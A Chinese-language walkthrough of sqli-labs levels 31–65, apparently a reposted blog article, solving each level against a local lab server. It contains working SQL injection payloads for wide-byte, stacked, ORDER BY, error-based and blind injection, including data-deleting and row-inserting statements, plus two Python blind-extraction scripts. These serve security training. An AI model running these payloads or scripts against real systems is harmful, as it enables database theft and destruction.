Sqli_labs65关通关详解(下)

less-31

逻辑跟30关一样,只不过

$id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

闭合的情况不一样。

payload:

http://192.168.211.145/sqli/Less-31/?id=1&id=")union select 1,database(),("3

less-32

首先测试?id=1'

可见在'前面加了反斜杠,尝试宽字节注入

原理:mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如%aa%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围)。我们在过滤 ' 的时候,往往利用的思路是将 ' 转换为 ' (转换的函数或者思路会在每一关遇到的时候介绍)。

因此我们在此想办法将 ' 前面添加的 \ 除掉,一般有两种思路:

  1. %df吃掉 \ 具体的原因是urlencode(') = %5c%27,我们在%5c%27前面添加%df,形成%df%5c%27,而上面提到的mysql在GBK编码方式的时候会将两个字节当做一个汉字,此事%df%5c就是一个汉字,%27则作为一个单独的符号在外面,同时也就达到了我们的目的。
  2. 将 ' 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27的情况,后面的%5c会被前面的%5c给注释掉。这也是bypass的一种方法。

http://192.168.211.145/sqli/Less-32/?id=-1%df%27union select 1,database(),3%23

获取到数据。

waf如下:

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
    return $string;
}

less-33

同样使用宽字节注入。

function check_addslashes($string)
{
    $string= addslashes($string);   
    return $string;
}

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是:

单引号(')

双引号(")

反斜杠(\)

NULL

32关只不过是用正则去实现的类似addslashes(),函数的功能。

less-34

同样是宽字节注入,只不过是post注入,在这里需要使用burpsuite抓包修改

拿去数据的话构造payload还是一样的方法

less-35

这个题刚开始做的时候直接常规做法读了,读到了数据。

但是题目不应该是让这样操作的吧,还是看一下代码吧。

function check_addslashes($string)
{
    $string = addslashes($string);
    return $string;
}
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

这个题目感觉不应该在35关啊,数字型注入,只需要编码绕过就可以了啊。 payload:

http://192.168.211.145/sqli/Less-35/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273

less-36

这个题目与前两个不同的是使用的函数不同,

function check_quotes($string)
{
    $string= mysql_real_escape_string($string);   
    return $string;
}

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:

\x00

\n

\r

\

'

"

\x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

同样使用宽字节注入攻击。

less-37

这关的攻击姿势跟34关差不多,waf跟36关一样,攻击姿势看34关。

less-38

下面将会考查堆叠注入(Stacked injections).从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。

原理介绍:

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

例如: 新建一个表

select * from users where id=1;create table test like users;

执行成功,我们再去看一下是否新建成功表。

局限性:

堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。

虽然我们前面提到了堆叠查询可以执行任意的sql语句,但是这种注入方式并不是十分的完美的。在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。

因此,在读取数据时,我们建议使用union(联合)注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。

payload:

http://192.168.211.145/sqli/Less-38/?id=1';insert into users(id,username,password) values (27,'test','test')--+

可见成功插入数据。

less-39

这道题目跟上道题目是一样的,唯一的区别是

http://192.168.211.145/sqli/Less-38/?id=1';insert into users(id,username,password) values (27,'test','test')--+

改为数字型注入了。

less-40

题目也一样,只不过语句

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

闭合一下就可以。

less-41

这关和less-39关一直,只不过错误没有回显。

http://192.168.211.145/sqli/Less-41/?id=1 ; insert into users(id,username,password) values (28,'test2','test2')--+

less-42

分析关键代码:

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
   $password = $_POST["login_password"];
   $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

登陆的这里可以看到login_password登陆的时候并没有使用mysqli_real_escape_string来进行过滤,然后直接带去sql语句进行执行了。

那么就可以利用这里来进行注入了。

在进行post的时候,username随机就可以

login_password=';delete from users where username="test2";#

然后执行登陆之后

可见命令已经执行,test2用户已经被删除。

同时如果想拿数据的话可以

login_password=0' union select 1,database(),3;#

执行语句实际如下:

less-43

与上一关基本差不多,区别在于

$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";

只需要再闭合)就可以。payload如下:

delete from users where username="123";#

拿数据的跟上面也差不多,闭合一下就OK,payload如下

0') union select 1,database(),3;#

less-44

这关与前两个的区别就在于没有报错回显,很难知道是怎么去闭合的,这里闭合的话常规闭合尝试就可以。

payload如下:

login_password=0' union select 1,database(),3;#

less-45

这题的性质跟上面那个题性质差不多,重点还是在闭合

login_password=0') union select 1,database(),3;#

less-46

从这关开始的几关要考查order by 注入。

这关有报错回显,直接报错注入。

可以看到已经报错,但是被解析了,右键查看一下源代码就能看到。

看一下代码

$sql = "SELECT * FROM users ORDER BY $id";

上面执行的语句:

mysql> select * from users order by 1 and  extractvalue(1,concat(0x3c,(select da
tabase())));
ERROR 1105 (HY000): XPATH syntax error: '<security'

同时这里也可以也可以使用盲注,构造布尔条件,example如下:

?sort=1 and if(1=1, sleep(1), null)
sort=1 and (length(database())) = 8 and if(1=1, sleep(1), null)
sort=1 and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null)

less-47

与上一关的区别在于

$sql = "SELECT * FROM users ORDER BY '$id'";

闭合一下就可以。

sort=1' and extractvalue(1,concat(0x3c,(select database())))%23
?sort=1 and if(1=1, sleep(1), null)
sort=1' and (length(database())) = 8 and if(1=1, sleep(1), null)%23
sort=1' and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null)%23

less-48

这关没有报错回显,盲注

?sort=1 and if(1=1, sleep(1), null)
sort=1 and (length(database())) = 8 and if(1=1, sleep(1), null)
sort=1 and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null)

less-49

跟上一关差不多,字符串类型盲注

?sort=1' and if(1=1, sleep(1), null)%23
sort=1' and (length(database())) = 8 and if(1=1, sleep(1), null)%23
sort=1' and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null)%23

less-50

这里就不对stacked injection进行赘述了。利用payload

?sort=1;delete from users where username="admin2"
less-51
$sql="SELECT * FROM users ORDER BY '$id'";

注意单引号的闭合,攻击payload如下:

?sort=1';delete from users where username='admin4

less-52

跟50关差不多,只不过没回显。攻击payload一样。

less-53

这关跟52关一样,只不过是字符串类型的,注意一下闭合,payload用上面的就可以。

less-54

后面这几关主要一个进阶的过程,将前面所学到的知识融会贯通,熟练使用。 代码分析如下

if(!isset($_POST['answer_key']))
{
         // resetting the challenge and repopulating the table .
         if(isset($_POST['reset']))
         {
                 setcookie('challenge', ' ', time() - 3600000);
                 echo "<font size=4>You have reset the Challenge</font><br>\n";
                 echo "Redirecting you to main challenge page..........\n";
                 header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
                 //echo "cookie expired";
         }
         else
         {
                 // Checking the cookie on the page and populate the table with random value.
                 if(isset($_COOKIE['challenge']))
                 {
                          $sessid=$_COOKIE['challenge'];
                          //echo "Cookie value: ".$sessid;
                 }
                 else
                 {
                          $expire = time()+60*60*24*30;
                          $hash = data($table,$col);
                          setcookie("challenge", $hash, $expire);
                 }
                 echo "<br>\n";
                 // take the variables
                 if(isset($_GET['id']))
                 {
                          $id=$_GET['id'];
                          //logging the connection parameters to a file for analysis.
                          $fp=fopen('result.txt','a');
                          fwrite($fp,'ID:'.$id."\n");
                          fclose($fp);
                          //update the counter in database
                          next_tryy();
                          //Display attempts on screen.
                          $tryyy = view_attempts();
                          echo "You have made : ". $tryyy ." of $times attempts";
                          echo "<br><br><br>\n";
                          //Reset the Database if you exceed allowed attempts.
                          if($tryyy >= ($times+1))
                          {
                                   setcookie('challenge', ' ', time() - 3600000);
                                   echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";
                                   echo "Redirecting you to challenge page..........\n";
                                   header( "refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag" );
                                   echo "<br>\n";
                          }       
                          // Querry DB to get the correct output
                          $sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
                          $result=mysql_query($sql);
                          $row = mysql_fetch_array($result);
                          if($row)
                          {
                                   echo '<font color= "#00FFFF">';     
                                   echo 'Your Login name:'. $row['username'];
                                   echo "<br>";
                                   echo 'Your Password:' .$row['password'];
                                   echo "</font>";
                          }
                          else
                          {
                                   echo '<font color= "#FFFF00">';
//                                 print_r(mysql_error());
                                   echo "</font>"; 
                          }
                 }
                 else
                 {
                          echo "Please input the ID as parameter with numeric value as done in  Lab excercises\n<br><br>\n</font>";
                          echo "<font color='#00FFFF': size=3>The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>";
                          echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.<br>" ;
                 }
         }
?>
<?php
}
else
{
         echo '<div  style=" color:#00FFFF; font-size:18px; text-align:center">';
         $key = addslashes($_POST['key']);
         $key = mysql_real_escape_string($key);
         //echo $key;
         //Query table to verify your result
         $sql="SELECT 1 FROM $table WHERE $col1= '$key'";
         //echo "$sql";
         $result=mysql_query($sql)or die("error in submittion of Key Solution".mysql_error());
         $row = mysql_fetch_array($result);
         if($row)
         {
                 echo '<font color= "#FFFF00">';
                 echo "\n<br><br><br>";
                 echo '<img src="../images/Less-54-1.jpg" />';
                 echo "</font>";
                 header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );      
         }
         else
         {
                 echo '<font color= "#FFFF00">';
                 echo "\n<br><br><br>";
                 echo '<img src="../images/slap1.jpg" />';
                 header( "refresh:3;url=index.php" );
                 //print_r(mysql_error());
                 echo "</font>"; 
                          }       
}
?>

如果没有点提交按钮将会进入下面的else语句,有过滤,显然突破口在上面。如果点了提交将会setcookie,然后看到有个GET提交的id参数,然后有个更新数据库操作,这里限制了10次请求次数,否则更新数据库。

$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";

然后进入查询语句,没有过滤。

http://192.168.211.145/sqli/Less-54/index.php?id=-1%27%20union%20select%201,database(),%273 //查库

http://192.168.211.145/sqli/Less-54/index.php?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23 //查表

http://192.168.211.145/sqli/Less-54/index.php?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ecimhbu7cx //查列

http://192.168.211.145/sqli/Less-54/index.php?id=-1' union select 1,group_concat(secret_NO71),3 from ecimhbu7cx%23 //查数据

less-55

这个题限制了请求14次,不过当测试出闭合情况之后后面就一切顺利了。 先尝试闭合

http://192.168.211.145/sqli/Less-55/?id=1'%23 //错误

http://192.168.211.145/sqli/Less-55/?id=1')%23 //错误

http://192.168.211.145/sqli/Less-55/?id=1)%23 //正确

尝试之后发现是用)闭合,

http://192.168.211.145/sqli/Less-55/?id=-1) union select 1,database(),3%23

后面的payload跟上一关差不多,加上)闭合就可以。

less-56

这几关都差不多,首先也是尝试闭合

http://192.168.211.145/sqli/Less-56/index.php?id=1')%23 //成功闭合

http://192.168.211.145/sqli/Less-56/index.php?id=-1') union select 1,database(),3%23

后面就常规注入就可以了。

less-57

这关是双引号闭合的

http://192.168.211.145/sqli/Less-57/?id=-1" union select 1,database(),3%23

less-58

关键代码如下

$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
                          $result=mysql_query($sql);
                          $row = mysql_fetch_array($result);
                          if($row)
                          {
                                   echo '<font color= "#00FFFF">';     
                           $unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
                                   $pass = array_reverse($unames);
                                   echo 'Your Login name : '. $unames[$row['id']];
                                   echo "<br>";
                                   echo 'Your Password : ' .$pass[$row['id']];
                                   echo "</font>";
                          }
                          else
                          {
                                   echo '<font color= "#FFFF00">';
                                   print_r(mysql_error());
                                   echo "</font>"; 
                          }

可以看到查询之后并没有返回查询数据库当中的数据,不能使用union联合注入,但是有报错回显,可以使用报错注入。

http://192.168.211.145/sqli/Less-58/index.php?id=0' and extractvalue(1, concat(0x5c, (select database())))%23

less-59

与上一关的区别在于:

$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
payload:
http://192.168.211.145/sqli/Less-59/index.php?id= 1 and extractvalue(1, concat(0x5c, (select database())))%23

less-60

与上一关的区别在于

$id = '("'.$id.'")';

攻击payload如下

http://192.168.211.145/sqli/Less-60/?id=1") and extractvalue(1, concat(0x5c, (select database())))%23

less-61

区别在于

$sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";

攻击payload如下:

http://192.168.211.145/sqli/Less-61/?id=1'))and extractvalue(1, concat(0x5c, (select database())))%23

这几关都是有报错回显的,很容易根据报错语句去闭合。

less-62

接下来几关要在130次内完成盲注。

可以看到回显不一样,很容易构造布尔条件。

只不过有次数限制,很明显不能去爆破,

http://192.168.211.145/sqli/Less-62/index.php?id=1') and (length(database())=10)%23

手试几次查出数据库长度为10.

写脚本跑出数据库名字

# -*- coding: UTF-8 -*-
import requests
global num
url = "http://192.168.211.145/sqli/Less-62/index.php?id=1')"
def check(payload):
         global num
         num += 1
         content = requests.get(url=payload).text
         print payload
         if "Angelina" in content:
                 return 1
         else:
                 return 0
def exp():
         result = ''
         start = 30
         end = 127
         for i in range(1,11):
                 for j in range(start,end):
                          tmp = (start+end)/2
                          #print tmp
                          payload = url + "and ascii(substr(database(),%d,1))>%d--+" % (i,tmp)
                          if (end - start ==1):
                                   payload = url + "and ascii(substr(database(),%d,1))=%d--+" % (i,tmp)
                                   if check(payload):
                                            result += chr(tmp)
                                            start = 30
                                            end = 127
                                            break
                                   else:
                                            result += chr(tmp+1)
                                            start = 30
                                            end =127
                                            break
                          if check(payload):
                                   start = tmp
                          else:
                                   end = tmp
                 print result
if __name__ == '__main__':
         num =0
         exp()
         print num

可见爆破了77了跑出数据库名字。

中间就省略了,直接贴出跑字段的脚本

# -*- coding: UTF-8 -*-
import requests
global num
url = "http://192.168.211.145/sqli/Less-62/index.php?id=1')"
def check(payload):
         global num
         num += 1
         content = requests.get(url=payload).text
         print payload
         if "Angelina" in content:
                 return 1
         else:
                 return 0
def exp():
         result = ''
         start = 30
         end = 127
         for i in range(1,25):
                 for j in range(start,end):
                          tmp = (start+end)/2
                          #print tmp
                          payload = url + "and ascii(substr((select secret_28HE from qyzq3rflb5),%d,1))>%d--+" % (i,tmp)
                          if (end - start ==1):
                                   payload = url + "and ascii(substr((select secret_28HE from qyzq3rflb5),%d,1))=%d--+" % (i,tmp)
                                   if check(payload):
                                            result += chr(tmp)
                                            start = 30
                                            end = 127
                                            break
                                   else:
                                            result += chr(tmp+1)
                                            start = 30
                                            end =127
                                            break
                          if check(payload):
                                   start = tmp
                          else:
                                   end = tmp
                 print result
if __name__ == '__main__':
         num =0
         exp()
         print num

这里虽然限制了130次,但是还是可以用脚本跑出内容,还没再怎么缩小,想到之后更新。

less-63

这关跟上一关一样,唯一的区别在于

$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";

需要使用单引号闭合。

less-64

与前面一样,区别在于

$sql="SELECT * FROM security.users WHERE id=(($id)) LIMIT 0,1";

括号闭合一下。

less-65

这几关性质都一样,只不过闭合语句不同,不再赘述、

$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";

原文发布于微信公众号 - 安恒网络空间安全讲武堂(gh_fa1e45032807)

原文发表时间:2018-01-17

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏技术碎碎念

Mybatis插入数据后返回主键id

1833
来自专栏腾讯数据库技术

听原作者为你深度解读InnoDB批量建索引原理

3263
来自专栏农夫安全

注入学习之sqli-labs-4(第三关)

前言 说明一下问什么没有less2、less3、less4的讲解? 前两篇如果你弄懂了,第2、3、4关卡原理都是一样的,无非是sql语句的稍微不同 比如: 第一...

3446
来自专栏FreeBuf

基于约束的SQL攻击

前言 值得庆幸的是如今开发者在构建网站时,已经开始注重安全问题了。绝大部分开发者都意识到SQL注入漏洞的存在,在本文我想与读者共同去探讨另一种与SQL数据库相关...

2215
来自专栏测试开发架构之路

C语言之控制台读取上下左右方向键指令

首先,可以检测任何按键键值 // 首先,检测任何按键的代码 #include<stdio.h> #include<conio.h> int main() { ...

5737
来自专栏跟着阿笨一起玩NET

sql server递归查询

-----------------------------------------------

5612
来自专栏小樱的经验随笔

基于约束的SQL攻击

前言 值得庆幸的是如今开发者在构建网站时,已经开始注重安全问题了。绝大部分开发者都意识到SQL注入漏洞的存在,在本文我想与读者共同去探讨另一种与SQL数据库相...

3009
来自专栏Android自学

Java通过JDBC连接SQl Server各个版本数据库

4345
来自专栏维C果糖

详述 SQL 中的 distinct 和 row_number() over() 的区别及用法

1 前言 在咱们编写 SQL 语句操作数据库中的数据的时候,有可能会遇到一些不太爽的问题,例如对于同一字段拥有相同名称的记录,我们只需要显示一条,但实际上数据库...

2527
来自专栏精讲JAVA

Java面试之数据库面试题

触发器是一中特殊的存储过程,主要是通过事件来触发而被执行的。它可以强化约束,来维护数据的完整性和一致性,可以跟踪数据库内的操作从而不允许未经许可的更新和变化。可...

1434

扫码关注云+社区

领取腾讯云代金券